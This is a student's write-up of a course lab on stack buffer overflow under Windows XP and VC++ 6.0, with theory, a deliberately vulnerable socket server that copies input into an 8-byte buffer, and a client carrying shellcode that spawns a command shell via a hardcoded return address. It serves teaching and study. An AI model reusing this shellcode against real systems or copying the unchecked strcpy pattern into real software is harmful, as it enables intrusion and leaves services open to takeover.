这个实验是网络攻防课程实验中的一个,但是目前我还没有完全搞懂代码,以后有机会来补。也欢迎大佬指点
一、实验目的和要求
通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区溢出危害性,并理解防范和避免缓冲区溢出攻击的措施。
二、实验原理和实验环境
实验原理:
缓冲区溢出(Buffer Overflow)是目前非常普遍而且危险性非常高的漏洞,在各种操作系统和应用软件中广泛存在。利用缓冲区溢出攻击,可以使远程主机出现程序运行错误、系统死机或者重启等异常现象,它甚至可以被黑客利用,在没有任何系统帐户的条件下获得系统最高控制权,进而进行各种非法操作。
缓冲区溢出的原理很简单,类似于把水倒入杯子中,而杯子容量有限,如果倒入水的量超过杯子的容量,水就会溢出来。缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或者操作系统定义好。缓冲区类似于一个杯子,写入的数据类似于倒入的水。缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令。
例如:
#include
main()
{
char string[8];
gets(string);
printf("string is %s\n", string);
}
在UNIX系统中对C函数处理时,系统会为其分配一段内存区间,其中用于函数调用的区域为堆栈区,保存了函数调用过程中的返回地址、栈顶和栈底信息,以及局部变量和函数的参数。上述main函数执行时,上述信息按照参数、ret(返回地址)和EBP(栈底)的顺序依次压入其堆栈区中,然后根据所调用的局部变量再在堆栈中开辟一块相应的空间,这个内存空间被申请占用的过程是从内存高地址空间向低地址空间的延伸。为局部变量在堆栈中预留的空间在填入局部变量时,其填入的顺序是从低地址内存空间向高地址内存空间依次进行。函数执行完后,局部变量占用的内存空间将被丢弃,并根据EBP和ret地址,恢复到调用函数原有地址空间继续执行。当字符处理函数没有对局部变量进行越界监视和限制时,就存在局部变量写越界,覆盖了高地址内存空间中ret、EBP的信息,造成缓冲区溢出。
对于上述main()函数,由于没有参数,系统首先将main函数的ret和EBP写入堆栈,然后根据string[8]字符数组的大小,堆栈再扩展8个字节的空间用于存放sting[]数组中的局部变量。当执行gets()函数将局部变量例如AAAA写入string[]数组时,字符串AAAA会先填入内存的低地址空间,如下图所示,然后再是高地址空间。堆栈中内存的分配以4字节为单位,如果gets()函数执行时输入的字符串为AAAAAAAAAAAAAAAA,按照上述填入顺序,原有ret和EBP的内存空间将会被字符串A覆盖。
当main函数返回时,再从原ret处获取调用函数返回地址时,就会把AAAA对应的十六进制ASCII码0x41414141作为返回地址,使CPU试图执行0x41414141处的指令,由于0x41414141不是一个正常的内存空间地址,就会发生缓冲区溢出。发生溢出时,如果用一个实际存在的指令地址来覆盖被调用函数的返回地址,则系统就会转而执行这个指令,这一点就是缓冲区溢出被用来进行攻击的最关键之处。在UNIX系统中,由于相同shell环境下,程序的堆栈地址信息是相同的,所以只要调试后找到这个堆栈地址,就可以在发生溢出时转而执行这个事先设定的程序了。并且,如果发生溢出的源程序具有管理员权限,则替换后的程序也拥有相同的管理员权限。
引起缓冲区溢出的问题主要原因是C和C++本质就是不安全的(Java和C#就相对安全许多)没有边界来检查数据和指针的引用。而软件开发人员经常忽略检查边界,这就会有缓冲区溢出的风险。标准C库中还存在许多非安全字符串的操作,包括strcpy()、sprintf()、gets()、strcat、scanf、vscanf等。为了防止缓冲区溢出的发生,编程人员需要对这些存在缓冲区溢出问题的函数予以关注,增加边界限制,编写正确的代码,或者改用没有问题的函数,例如strncpy()、strncat()、snprintf()等。
实验环境:
Windows XP,VC 6.0
三、实验内容及步骤
1、打开控制台。
学生单击“试验环境试验”进入实验场景,单击L005001001xp01_1中的“打开控制台”按钮,进入目标主机。
2、找到桌面上的Microsoft Visual C++ 6.0,双击打开。
3、新建一个C++ Source File,文件名为server,作为服务器。
4、在D盘tools文件夹下打开server文件,将里面的代码复制到建立的C++文件中。并编译构建。
#include
#include #include #pragma comment (lib, "WS2_32") void showcontent(char *buff); int main(int argc, char **argv) { WSADATA wsaData; if( WSAStartup(0x101, &wsaData) != 0 ) { printf("Failed Initialization.\n"); return 0; } if(argc!=2) { printf("Usage: server.exe [port]\n"); return 0; } int port = atoi(argv[1]); SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sListen == INVALID_SOCKET) { printf("Failed socket()\n"); return 0; } sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.S_un.S_addr = INADDR_ANY; if (::bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR) { printf("Failed bind()\n"); return 0; } if (::listen(sListen, 2) == SOCKET_ERROR) { printf("Failed listen()\n"); return 0; } sockaddr_in remoteAddr; int nAddrLen = sizeof(remoteAddr); SOCKET sClient; char szText[] = "TCP Server is Connected!\n\n"; char buff[1024] = {0}; char toSend[1024] = {0}; while (TRUE) { sClient = ::accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen); if (sClient == INVALID_SOCKET) { printf("Failed accept()\n"); continue; } printf("Somebody is connecting: %s\n", inet_ntoa(remoteAddr.sin_addr)); ::send(sClient, szText, strlen(szText), 0); int nRecv = ::recv(sClient, buff, sizeof(buff), 0); if (nRecv > 0) { buff[nRecv] = '\0'; ::closesocket(sClient); break; } } ::closesocket(sListen); showcontent(buff); return 0; } void showcontent(char *buff) { char content[8]; strcpy(content, buff); printf("%s", content); } 5、运行程序,可以看见有server.exe应用程序,[port]是口令。
6、再新建一个C++ Source File,文件名为Client,作为客户端。
7、在D盘tools文件夹下的client文件,复制其中的代码到c++文件中,编译构建。
#include
#include #include #pragma comment (lib, "WS2_32") int main(int argc, char* *argv) { WSADATA wsaData; if( WSAStartup(0x101, &wsaData) != 0 ) { printf("Failed Initialization.\n"); return 0; } if(argc!=3) { printf("Usage: client.exe [Server_IP] [port]\n"); return 0; } int port = atoi(argv[2]); SOCKET s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(s == INVALID_SOCKET) { printf("Failed socket()\n"); return 0; } sockaddr_in servAddr; servAddr.sin_family = AF_INET; servAddr.sin_port = htons(port); servAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]); if(::connect(s, (sockaddr *)&servAddr, sizeof(servAddr)) == -1) { printf("Failed connect()\n"); return 0; } char buff[1024]; int nRev = ::recv(s, buff, sizeof(buff), 0); if (nRev > 0) { buff[nRev] = '\0'; printf("Received: %s", buff); } char toSend[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x12\x45\xfa\x7f" "\x55\x8b\xec" "\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53\xc6\x45" "\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54\xc6" "\x45\xfa\x2e\xc6\x45\xfb\x44\xc6\x45\xfc\x4c\xc6" "\x45\xfd\x4c\xba" "\x80\x1d\x80\x7c" //loadlibrarya "\x52\x8d\x45\xf4\x50\xf" "\xff\xd0"; char toSend2[] = "\x41\x42\x43\x44" "\x45\x46\x47\x48" "\x12\x45\xfa\x7f" "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x9c\x3f\x88\x7c" //loadlibrary地址0x7c883f9c "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" //command. "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" // c o m "\x50\xB8" "\x7c\xbf\x93\x77" //System地址0x77bf93c7 "\xFF\xD0"; send(s, toSend, strlen(toSend), 0); ::closesocket(s); return 0; } 8、运行程序,可以看见有client.exe应用程序,[Server_IP]是服务器的IP地址,[port]是口令。
9、打开命令提示符,输入“ipconfig”查看本机的IP地址,即为服务器的IP地址。这里的IP地址是172.16.1.186
10、打开桌面上的Debug文件夹,找到其中的client.exe和server.exe。
11、复制server.exe和client.exe,将他们粘贴到“c:\windows\system32”目录下。
12、打开命令提示符,找到“c:\windows\system32”目录,并运行命令“server.exe 8888”来开启server。
开始文件夹是隐藏的,点击“显示此文件夹内容”
13、另外打开一个命令提示符,同样找到“c:\windows\system32”目录,运行命令
“client.exe 172.16.1.186 8888”来攻击server。
14、点击回车键后,可以看见一行提示“Received: TCP Server is Connected!”,
表明连接上了server。然后会弹出一个对话框,显示server.exe遇到问题需要关闭,这表明server被攻击并报错了。